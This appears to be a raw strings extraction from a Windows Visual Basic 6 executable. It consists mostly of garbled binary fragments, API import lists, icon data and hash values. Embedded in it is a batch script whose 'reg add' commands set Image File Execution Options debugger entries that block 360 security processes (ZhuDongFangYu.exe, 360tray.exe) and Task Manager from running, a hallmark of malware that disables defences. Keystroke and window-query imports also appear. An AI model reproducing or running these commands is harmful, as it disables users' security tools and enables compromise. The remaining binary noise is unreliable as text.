Yj^+3B
QP4YYu
<+3E_^[
|3@]3]
SVWj ^]
EPEPEWPv
@PEP 3;>v
|!3}MEP^
fYY3jY+N
3QQQEE
QPEPEP#
EVPM$^vh
3QQQEE
QPEPEP#
EVPdM$^.h
tAt2t$
@u+@PWV
EPVcM s
u5SSWh|
E SSSSu
]M3G9]u
YE;t}SSuuu
e33Mu;u
V?Y;thE
WreY9]t
ev$dv(dv,dv0dv4dv
dv8dv<d@v@dvDdvHdvLdvPdvTdvXdv\
dv`wdvdodvhgdvl_dvpWdvtOdvxGdv|?d@
PWcY^]
PbYv$Dk
VtbY^]UV3PPPPPPPPU
u5EP3GWh|
V`YEn}
e}UWVSM
[^_UV3PPPPPPPPU
t78t2=`
3@_^[]
PYYtbF
EEuzEE
YXS9YtJU
t1SaYP
t@ t20t$@t
/t(;t$;t
8EPuuu
uWEY>j
u|Yj4h@
u8WW3FVh|
YE;t@E
t!SS9]
u1VY9]t
E;tWWu
EPSu u
YMMjDhh
39}t WWu
tjEEb9}u
WWWWVSWu
;tG3Vj
YYE;t43WWVPVSWu
HHtjHHtF
u9S\UC\
}]39Mt
WVE;Yu
;VWEN@
vOE}SLSFEPSS6E
EMu39S
tfEM_^fC
+t5-t00
uFQ3@}
G0t1|
HHu&Mj
PQYuuO
#fEEEEEEEEEEEE?E
PEPfU}Y
EPMYu}
EPNYuO
EPoEPfEPEPEPPEM
0H;s;s
@UWVSu
F'G8t,A<
WN^xd;=g
tXSjYe
EPKYu}
u5}u,e
MuVQTYYM39U
6UWVSM
B8t6t8t't
M}M}M3~M~M~M#
M{M|@F
g~X\~`Q~F~;~(0~
~|UzpzG{LG
Tuy}`}}X}(}}G
Xt}y^}G
X}qzy|<H
X|@izH
(|Xu|j|_|XT|I|X>|3|X(|
x({{X{X{({lI
({{{p{Xe{I
(K{X@{5{I
w(]zRzJ
8zX-z"z K
z(yyy\K
yyy`y(yXyK
|y0qyfy[y(PyXEyX:y`/y$y(
y(xx`x<L
xmtXxxWtxXxxuxtX{xpx(exZxOxXDxxsltL
wwXw(wwPM
uOuX7wM
w`v(vXv
(vXwvlvN
XRvXGvN
X-v("v
q0qH&rlsr
s$Zs`sxsT#
RegCloseKey
RegSetValueExW
RegCreateKeyExW
RegEnumValueW
RegQueryInfoKeyW
RegOpenKeyExW
RegQueryValueExW
RegEnumKeyW
RegEnumKeyExW
RegDeleteKeyW
RegFlushKey
RegDeleteValueW
RegNotifyChangeKeyValue
ADVAPI32.dll
lstrlenW
EnterCriticalSection
InterlockedIncrement
LeaveCriticalSection
InterlockedDecrement
GetSystemDirectoryW
GetCurrentDirectoryW
InitializeCriticalSection
GetFileAttributesW
GetModuleFileNameW
DeleteCriticalSection
CloseHandle
HeapFree
HeapAlloc
GetProcessHeap
lstrcpyW
lstrcmpW
GetWindowsDirectoryW
CompareFileTime
lstrlenA
GetVersionExW
WaitForMultipleObjects
WaitForSingleObject
SetEvent
GetCurrentThreadId
FreeLibrary
LoadLibraryW
GetCommandLineW
CreateEventW
GetSystemInfo
GetFullPathNameW
QueryPerformanceCounter
GetTickCount
GetCurrentProcessId
GetSystemTimeAsFileTime
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
SetUnhandledExceptionFilter
GetStartupInfoA
GetCommandLineA
GetVersionExA
HeapReAlloc
RtlUnwind
ExitThread
TlsSetValue
TlsGetValue
GetLastError
CreateThread
ExitProcess
GetProcAddress
GetModuleHandleA
WriteFile
GetStdHandle
GetModuleFileNameA
FreeEnvironmentStringsA
GetEnvironmentStrings
FreeEnvironmentStringsW
WideCharToMultiByte
GetEnvironmentStringsW
SetHandleCount
GetFileType
TlsFree
SetLastError
TlsAlloc
HeapDestroy
HeapCreate
VirtualFree
VirtualAlloc
IsBadWritePtr
HeapSize
LoadLibraryA
GetACP
GetOEMCP
GetCPInfo
InterlockedExchange
VirtualQuery
GetStringTypeA
GetStringTypeW
VirtualProtect
MultiByteToWideChar
IsBadReadPtr
IsBadCodePtr
SetFilePointer
LCMapStringA
LCMapStringW
GetLocaleInfoA
SetStdHandle
FlushFileBuffers
CreateFileW
SetEndOfFile
ReadFile
KERNEL32.dll
GetTextExtentPointW
GDI32.dll
EnableWindow
SendMessageW
GetDlgItem
MessageBoxW
LoadStringW
wsprintfW
EndDialog
DialogBoxParamW
GetWindowLongW
CallNextHookEx
PostMessageW
IsWindowEnabled
GetKeyState
DestroyWindow
MessageBoxA
wsprintfA
LoadStringA
SetDlgItemTextW
ShowWindow
CheckDlgButton
SetWindowTextW
ReleaseDC
SetDlgItemInt
GetDlgItemInt
GetDlgItemTextW
CheckRadioButton
LoadIconW
SetForegroundWindow
KillTimer
SetTimer
SetFocus
GetFocus
SetWindowPos
AdjustWindowRectEx
GetWindowRect
CreateDialogParamW
GetClientRect
UpdateWindow
PostQuitMessage
UnhookWindowsHookEx
SetWindowsHookExW
DispatchMessageW
TranslateMessage
IsDialogMessageW
PeekMessageW
MsgWaitForMultipleObjects
GetDesktopWindow
USER32.dll
ImageList_Destroy
ImageList_ReplaceIcon
ImageList_Create
COMCTL32.dll
GetSaveFileNameW
comdlg32.dll
ShellExecuteW
SHELL32.dll
CoInitializeSecurity
CoInitialize
CoCreateInstance
CoUninitialize
ole32.dll
OLEAUT32.dll
Ix@oGAkU'9p|B
~QCv)/&D(
uuvHMXB
9;5SM]=];Z] T7aZ%]g']
?Zd;On
7?3=Bz
;1az?aUY~S|
D?$?9'
*?}d|FU>c{
zc%C1<!8G
u7.:3q
#2IZ9W
,%I-64OSk%Y
kkggfffl
{kgfvfffffl
gffffff
{kkfvfffffl
wvffffff{;s{vffffl
7'{kkfgwffff
3fwwfrfffl
k{kvp*ffff
2*gg2*jfff;"f{{kc2ffffl
2*j{"jfffl
;3"*w{p*fff
"g{0*jfff333
wff;30
"j{3""wffs33
""c2*"{fgl
"*z"3wffl7;;;30
" 3wfvl
{kffs;30
*#7fg|;3;3
*#{{wkwv|{;3;;30*gw|
{kkgg|{3;33
jgw;32{g|s3;;;0***g;333
"*{s332"
"*;{;3
"3;33{
#3;3;;;3{
7033ws333;;;;;
{{{{{{
kkggfffl
{kgfvfffffl
gffffff
{kkfvfffffl
wvffffff{;s{vffffl
7'{kkfgwffff
3fwwfrfffl
k{kvp*ffff
2*gg2*jfff;"f{{kc2ffffl
2*j{"jfffl
;3"*w{p*fff
"g{0*jfff333
wff;30
"j{3""wffs33
""c2*"{fgl
"*z"3wffl7;;;30
" 3wfvl
{kffs;30
*#7fg|;3;3
*#{{wkwv|{;3;;30*gw|
{kkgg|{3;33
jgw;32{g|s3;;;0***g;333
"*{s332"
"*;{;3
"3;33{
#3;3;;;3{
7033ws333;;;;;
{{{{{{
kkggfffl
{kgfvfffffl
gffffff
{kkfvfffffl
wvffffff{;s{vffffl
7'{kkfgwffff
3fwwfrfffl
k{kvp*ffff
2*gg2*jfff;"f{{kc2ffffl
2*j{"jfffl
;3"*w{p*fff
"g{0*jfff333
wff;30
"j{3""wffs33
""c2*"{fgl
"*z"3wffl7;;;30
" 3wfvl
{kffs;30
*#7fg|;3;3
*#{{wkwv|{;3;;30*gw|
{kkgg|{3;33
jgw;32{g|s3;;;0***g;333
"*{s332"
"*;{;3
"3;33{
#3;3;;;3{
7033ws333;;;;;
{{{{{{
vvvfff
wffffl
w{kffvff
2{wwvffl
0*kkvpffl
"ws*ffl3
"*k0vls0
"*2"vf;;3
wffs330
{{wk{;;32g
330*gks3
"s0"*#0
;;33;{w3
33w73;;;7{{{{{{{|
vvvfff
wffffl
w{kffvff
2{wwvffl
0*kkvpffl
"ws*ffl3
"*k0vls0
"*2"vf;;3
wffs330
{{wk{;;32g
330*gks3
"s0"*#0
;;33;{w3
33w73;;;7{{{{{{{|
vvvfff
wffffl
w{kffvff
2{wwvffl
0*kkvpffl
"ws*ffl3
"*k0vls0
"*2"vf;;3
wffs330
{{wk{;;32g
330*gks3
"s0"*#0
;;33;{w3
33w73;;;7{{{{{{{|
wgvl2{pf
l;0*vl30'l332gl30*{
0#233;70?kk
wgvl2{pf
l;0*vl30'l332gl30*{
0#233;70?kk
wgvl2{pf
l;0*vl30'l332gl30*{
0#233;70?kk
\djpx~HHVZdjs~@@HV\fs~LBHHQYamxBBLLQQVYdjs~FFLLLH@HSXZdmxFFFBB;;3<CUSYajs~DDD<<333*=ieUV\fpxD><<5%%%
^XZdms~N>>5%%%
$cYajsxNC>5
r[afpx~C>8*
cZdjsxzNC8'
n[\djs{}
cY\flzq
nXY\ce
GgLTW`
q}z]O:"
_enuv~]O:"
hi^ckmpsx]O:
i^[\adfjm~~gW:
^XYYZ\\dpxo]=)
.TQQVVVYfxso]K1
rHHHHQQZp~xpogW=)
^@@@@HVfsppoW=1
o;3;;Q\jfoeK=
<33HVadooW=1
C3@QYdweK7
i>HQVtoWI$
R>LVZweWR
-:<LVtweIE.J
>FSbwteRE.J
M$8<LXyteRE.J
.M$6<FS
teRE.J
weREMJ
yei_`G
!0:9CDTyytiqh`-
(29?CNUw
|}iqRK=:000//+449??NNUUw
|teeWWOAAAAOOPPPPUUty
yoggg]]]^^^^^^orrrrrnnn^^
\djpx~HHVZdjs~@@HV\fs~LBHHQYamxBBLLQQVYdjs~FFLLLH@HSXZdmxFFFBB;;3<CUSYajs~DDD<<333*=ieUV\fpxD><<5%%%
^XZdms~N>>5%%%
$cYajsxNC>5
r[afpx~C>8*
cZdjsxzNC8'
n[\djs{}
cY\flzq
nXY\ce
GgLTW`
q}z]O:"
_enuv~]O:"
hi^ckmpsx]O:
i^[\adfjm~~gW:
^XYYZ\\dpxo]=)
.TQQVVVYfxso]K1
rHHHHQQZp~xpogW=)
^@@@@HVfsppoW=1
o;3;;Q\jfoeK=
<33HVadooW=1
C3@QYdweK7
i>HQVtoWI$
R>LVZweWR
-:<LVtweIE.J
>FSbwteRE.J
M$8<LXyteRE.J
.M$6<FS
teRE.J
weREMJ
yei_`G
!0:9CDTyytiqh`-
(29?CNUw
|}iqRK=:000//+449??NNUUw
|teeWWOAAAAOOPPPPUUty
yoggg]]]^^^^^^orrrrrnnn^^
\djpx~HHVZdjs~@@HV\fs~LBHHQYamxBBLLQQVYdjs~FFLLLH@HSXZdmxFFFBB;;3<CUSYajs~DDD<<333*=ieUV\fpxD><<5%%%
^XZdms~N>>5%%%
$cYajsxNC>5
r[afpx~C>8*
cZdjsxzNC8'
n[\djs{}
cY\flzq
nXY\ce
GgLTW`
q}z]O:"
_enuv~]O:"
hi^ckmpsx]O:
i^[\adfjm~~gW:
^XYYZ\\dpxo]=)
.TQQVVVYfxso]K1
rHHHHQQZp~xpogW=)
^@@@@HVfsppoW=1
o;3;;Q\jfoeK=
<33HVadooW=1
C3@QYdweK7
i>HQVtoWI$
R>LVZweWR
-:<LVtweIE.J
>FSbwteRE.J
M$8<LXyteRE.J
.M$6<FS
teRE.J
weREMJ
yei_`G
!0:9CDTyytiqh`-
(29?CNUw
|}iqRK=:000//+449??NNUUw
|teeWWOAAAAOOPPPPUUty
yoggg]]]^^^^^^orrrrrnnn^^
cjpw~IIQcs~DDDIQcp{E>>336JNUjs~B66-)0uWM_m{B6-&
!khUjs|8)
h_lt=2#
S^hlow~\C
uTV__j{weC+
vNKMUp~seR9
WEIcsmaa9'
fEQjcnH1
FKUnb?(
CDKbq^S.
58DMqvgX
2>GyxgXiX
,+6EbyxgXi
.,'8ENfyxgk
/18BLfyvu}k@!
+1<ABLqxt^H<772::=FJJ]qyrne`\OWWWJJ\eedddWO
cjpw~IIQcs~DDDIQcp{E>>336JNUjs~B66-)0uWM_m{B6-&
!khUjs|8)
h_lt=2#
S^hlow~\C
uTV__j{weC+
vNKMUp~seR9
WEIcsmaa9'
fEQjcnH1
FKUnb?(
CDKbq^S.
58DMqvgX
2>GyxgXiX
,+6EbyxgXi
.,'8ENfyxgk
/18BLfyvu}k@!
+1<ABLqxt^H<772::=FJJ]qyrne`\OWWWJJ\eedddWO
cjpw~IIQcs~DDDIQcp{E>>336JNUjs~B66-)0uWM_m{B6-&
!khUjs|8)
h_lt=2#
S^hlow~\C
uTV__j{weC+
vNKMUp~seR9
WEIcsmaa9'
fEQjcnH1
FKUnb?(
CDKbq^S.
58DMqvgX
2>GyxgXiX
,+6EbyxgXi
.,'8ENfyxgk
/18BLfyvu}k@!
+1<ABLqxt^H<772::=FJJ]qyrne`\OWWWJJ\eedddWO
2DJMQ ;8HLSWU
]?9IO\V
iz7>v}X
ok~dbsYQ
lqwKNM
e|4:HJ#
c`r@'0E-
u`_dh{Z(6")mga^Rnx%=.pjfy
lt,&CB
*$<71/+8?!k
2DJMQ ;8HLSWU
]?9IO\V
iz7>v}X
ok~dbsYQ
lqwKNM
e|4:HJ#
c`r@'0E-
u`_dh{Z(6")mga^Rnx%=.pjfy
lt,&CB
*$<71/+8?!k
2DJMQ ;8HLSWU
]?9IO\V
iz7>v}X
ok~dbsYQ
lqwKNM
e|4:HJ#
c`r@'0E-
u`_dh{Z(6")mga^Rnx%=.pjfy
lt,&CB
*$<71/+8?!k
))77DDQQ__kkppqqooee
((88EEPP[[ffppxx
++::HHVVeeqq}}yy_AA
JJJt))^!!&&..55CCOO]]mmzz
DDD"$$ %%--//2244::DDPPZZhhtt
NNN$%%""%%**++**((%%''1199EEQQ__kkxx
ZZZ"$$!!%%$$""
--55BBNN[[gguu
--9977==IIVVbbllxx
CbbZnn@@==FFRR^^hhss||
&KqddBBCCOOZZddnnyyzz
OO7WW?z
BcNNCCLLUU``jjss||zzYY<$$
5Ur^^DDFFPPZZddmmssffd66
(FcMMCCJJSS\\eeeeII/
6UrjjCCCCKKTTZZRRg..
(EcGG<<AAIILL::4
6Uv\\;;77>>99h!!
&FeAA//00''8
3RmNN,,##]
=Up;;d JJ
__::^<<yymm
d++GG__ss{{
b""::OO__ffppxx||
((>>MMWW]]``ddmm}}xx
-H}}0077CCKKOORRUUXX^^ppnn
!7SZZ>>==@@CCFFHHJJPPbbxxbb
7Rs[[::4477::;;>>BBUUkkxxWW
*GdOO****++..0066GGbbuunnLL###X
AA@@''
""((<<UUff``BB)))E
==OGG//
11HH[[VV<<5550@@@
''>>NNIIK<<jMMM
BBEE**
1K^n||
""55AA??FFFIiii
==KKK66
'9FW44
))7788AA]]],
FFCC--
++8899XXXQ
>>RKK==%%
//66BBttt.
EEJJ66
%%33<<kkkE
,,88RRk$
??YOOGG33
&&11DD.
DDtPPHH22
%%//<<3
GG~SSJJ55""c
##..::1
FFuRRMM<<((h
$$,,77+
PPBB22p%%H
!!**,,
>>)JJRRMMBB44{))!!
$$,,--//DDF
DDSJJPPLLCC<<33**%%
!!##%%**..11,,00c
<<LFFLL
QQLLFFBB>><<::8877::<<====66
00..Wiii
@@PCCFFHH
JJMMMMKKIIDD
==9911Xz77
))77DDQQ__kkppqqooee
((88EEPP[[ffppxx
++::HHVVeeqq}}yy_AA
JJJt))^!!&&..55CCOO]]mmzz
DDD"$$ %%--//2244::DDPPZZhhtt
NNN$%%""%%**++**((%%''1199EEQQ__kkxx
ZZZ"$$!!%%$$""
--55BBNN[[gguu
--9977==IIVVbbllxx
CbbZnn@@==FFRR^^hhss||
&KqddBBCCOOZZddnnyyzz
OO7WW?z
BcNNCCLLUU``jjss||zzYY<$$
5Ur^^DDFFPPZZddmmssffd66
(FcMMCCJJSS\\eeeeII/
6UrjjCCCCKKTTZZRRg..
(EcGG<<AAIILL::4
6Uv\\;;77>>99h!!
&FeAA//00''8
3RmNN,,##]
=Up;;d JJ
__::^<<yymm
d++GG__ss{{
b""::OO__ffppxx||
((>>MMWW]]``ddmm}}xx
-H}}0077CCKKOORRUUXX^^ppnn
!7SZZ>>==@@CCFFHHJJPPbbxxbb
7Rs[[::4477::;;>>BBUUkkxxWW
*GdOO****++..0066GGbbuunnLL###X
AA@@''
""((<<UUff``BB)))E
==OGG//
11HH[[VV<<5550@@@
''>>NNIIK<<jMMM
BBEE**
1K^n||
""55AA??FFFIiii
==KKK66
'9FW44
))7788AA]]],
FFCC--
++8899XXXQ
>>RKK==%%
//66BBttt.
EEJJ66
%%33<<kkkE
,,88RRk$
??YOOGG33
&&11DD.
DDtPPHH22
%%//<<3
GG~SSJJ55""c
##..::1
FFuRRMM<<((h
$$,,77+
PPBB22p%%H
!!**,,
>>)JJRRMMBB44{))!!
$$,,--//DDF
DDSJJPPLLCC<<33**%%
!!##%%**..11,,00c
<<LFFLL
QQLLFFBB>><<::8877::<<====66
00..Wiii
@@PCCFFHH
JJMMMMKKIIDD
==9911Xz77
))77DDQQ__kkppqqooee
((88EEPP[[ffppxx
++::HHVVeeqq}}yy_AA
JJJt))^!!&&..55CCOO]]mmzz
DDD"$$ %%--//2244::DDPPZZhhtt
NNN$%%""%%**++**((%%''1199EEQQ__kkxx
ZZZ"$$!!%%$$""
--55BBNN[[gguu
--9977==IIVVbbllxx
CbbZnn@@==FFRR^^hhss||
&KqddBBCCOOZZddnnyyzz
OO7WW?z
BcNNCCLLUU``jjss||zzYY<$$
5Ur^^DDFFPPZZddmmssffd66
(FcMMCCJJSS\\eeeeII/
6UrjjCCCCKKTTZZRRg..
(EcGG<<AAIILL::4
6Uv\\;;77>>99h!!
&FeAA//00''8
3RmNN,,##]
=Up;;d JJ
__::^<<yymm
d++GG__ss{{
b""::OO__ffppxx||
((>>MMWW]]``ddmm}}xx
-H}}0077CCKKOORRUUXX^^ppnn
!7SZZ>>==@@CCFFHHJJPPbbxxbb
7Rs[[::4477::;;>>BBUUkkxxWW
*GdOO****++..0066GGbbuunnLL###X
AA@@''
""((<<UUff``BB)))E
==OGG//
11HH[[VV<<5550@@@
''>>NNIIK<<jMMM
BBEE**
1K^n||
""55AA??FFFIiii
==KKK66
'9FW44
))7788AA]]],
FFCC--
++8899XXXQ
>>RKK==%%
//66BBttt.
EEJJ66
%%33<<kkkE
,,88RRk$
??YOOGG33
&&11DD.
DDtPPHH22
%%//<<3
GG~SSJJ55""c
##..::1
FFuRRMM<<((h
$$,,77+
PPBB22p%%H
!!**,,
>>)JJRRMMBB44{))!!
$$,,--//DDF
DDSJJPPLLCC<<33**%%
!!##%%**..11,,00c
<<LFFLL
QQLLFFBB>><<::8877::<<====66
00..Wiii
@@PCCFFHH
JJMMMMKKIIDD
==9911Xz77
<<<3l44e::FFWWggvv
UUU'88n..99KK\\rr
_ZZ322000022==IIYYjj||
HHG..%%$$
22<<NNaatt6))
II?&&
w00y??DDWWhhzz
~xx &&
"<`YYDDSSeevv}}~QQ1h
5Y}MMOOaarruuTT)''
*OnccMM\\iibbN))
>`}NNUU[[BB
%Lh[[HHHHN
.Pe;;00
1FgPPA--
N##DDdd
55MM\\eeuu
#9}66BBMMSSWWaa}}ww
<\JJ@@@@DDNNkkii
.Qq[[BB55;;[[ssYY
4Vl{AA//JJbbII
55iKK,,
,EP`,,??OO<<
))II>>
";%%66<<n66f!!!
<<MM//N
5544<<<3
GGm''+
++66::nCCC
66zRREEe##)
1199UUU'
>>UUEEf%%*
0066c__3
BBXXIIl,,1
++22HHG
??WWOOx;;J&&5
%%0011LL@
VVLL==11##
!!**220000~xx
''488HHSSQQKKEEBB>>==@@AA>>55--55H
!!//g::CC
GGJJJJFF>>
11++p33-
<<<3l44e::FFWWggvv
UUU'88n..99KK\\rr
_ZZ322000022==IIYYjj||
HHG..%%$$
22<<NNaatt6))
II?&&
w00y??DDWWhhzz
~xx &&
"<`YYDDSSeevv}}~QQ1h
5Y}MMOOaarruuTT)''
*OnccMM\\iibbN))
>`}NNUU[[BB
%Lh[[HHHHN
.Pe;;00
1FgPPA--
N##DDdd
55MM\\eeuu
#9}66BBMMSSWWaa}}ww
<\JJ@@@@DDNNkkii
.Qq[[BB55;;[[ssYY
4Vl{AA//JJbbII
55iKK,,
,EP`,,??OO<<
))II>>
";%%66<<n66f!!!
<<MM//N
5544<<<3
GGm''+
++66::nCCC
66zRREEe##)
1199UUU'
>>UUEEf%%*
0066c__3
BBXXIIl,,1
++22HHG
??WWOOx;;J&&5
%%0011LL@
VVLL==11##
!!**220000~xx
''488HHSSQQKKEEBB>>==@@AA>>55--55H
!!//g::CC
GGJJJJFF>>
11++p33-
<<<3l44e::FFWWggvv
UUU'88n..99KK\\rr
_ZZ322000022==IIYYjj||
HHG..%%$$
22<<NNaatt6))
II?&&
w00y??DDWWhhzz
~xx &&
"<`YYDDSSeevv}}~QQ1h
5Y}MMOOaarruuTT)''
*OnccMM\\iibbN))
>`}NNUU[[BB
%Lh[[HHHHN
.Pe;;00
1FgPPA--
N##DDdd
55MM\\eeuu
#9}66BBMMSSWWaa}}ww
<\JJ@@@@DDNNkkii
.Qq[[BB55;;[[ssYY
4Vl{AA//JJbbII
55iKK,,
,EP`,,??OO<<
))II>>
";%%66<<n66f!!!
<<MM//N
5544<<<3
GGm''+
++66::nCCC
66zRREEe##)
1199UUU'
>>UUEEf%%*
0066c__3
BBXXIIl,,1
++22HHG
??WWOOx;;J&&5
%%0011LL@
VVLL==11##
!!**220000~xx
''488HHSSQQKKEEBB>>==@@AA>>55--55H
!!//g::CC
GGJJJJFF>>
11++p33-
|CC.33KKmm
88[))))FFWWzz
866dOO^^
9oDD::
CWii##
>__LL]]zz
ULL99VVnn
2lxx99NN
>>s2
;1166333
m 22DD1
778FFA
EET$$++;;Z
669GGY::6??
BBAA==11
|CC.33KKmm
88[))))FFWWzz
866dOO^^
9oDD::
CWii##
>__LL]]zz
ULL99VVnn
2lxx99NN
>>s2
;1166333
m 22DD1
778FFA
EET$$++;;Z
669GGY::6??
BBAA==11
|CC.33KKmm
88[))))FFWWzz
866dOO^^
9oDD::
CWii##
>__LL]]zz
ULL99VVnn
2lxx99NN
>>s2
;1166333
m 22DD1
778FFA
EET$$++;;Z
669GGY::6??
BBAA==11
DDDDDD
DDDDDD
DDDDDD
[xe<P(
[xe<P]
&N(W}/eJX-N8eQ`@bv
000000
000000
NfM0$P(
S0n0$Pn0
0L0Lc0f0O0`0U0D0
n0e[0000
O(uY00k0o0
0eW0D0$P0
O(uY00k0o0
NfM0$P]
0xbW0f0]0n0$P0eQRW0f0O0`0U0D0
BE772A5815A5087495005CFAEF05E050
9B38B5EBD92445D673B002A8CBE953D0
4252AC441217A0AB1EBBE9F2C1D5036F
4252AC441217A0AB1EBBE9F2C1D5036F
B538968EC4C5940D395F6FEC4078B080
EE8CDB9E62F6AB53C7C3241B2E3F49ED
CBC3103851B254409688A6F785D9F21A
C5D7ACC95340E068E4007664183DAD7C
D844D4B560FB9CBEE2800DF7C509A63D
FB38C2BA2A06016788A582611FCCC761
D8BF62A792C73BCC152A16EA7A34009F
ECDDAA2994A26F48C74AA459CB903A23
95E2FF5F9B55DC933BA0939EA3D41E0B
1DB684FD96EAC6F83F7C610B0E59BC3C
4F989CDC9DB79932D15CD266D7107495
885BDEB0871A6F42C34B43FE6C4AB3D7
A7AC0723B46256E1910A5249F965B9BA
0A5E5F7BB40DC4473498137A9946EF85
15E63336E13D37EE1ECDFBAE19E8B625
4FE7E777741336685F848A95051C2EC9
E18363315A661FA8603D458E5D5FD1D9
492CB2EBF8AAC15FF665E65D80379296
D1832484991ED384453E78995E4175D1
21F77A36A1618EAB9A390DA2E01D0863
B9EF236F12D844B98FDF59F0B7C4120C
470EC970E94973EB96C25D1932A62A1A
5D5F8C08527E4C31A0ECBE48C638243A
5D5F8C08527E4C31A0ECBE48C638243A
F06DC8A0103C5178C4B9C950B8B27477
E445C5A252AF3CFDD4E5BBD5E54D6F9B
BF54EF8F5B9A75278BC80EBFB99F53A5
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
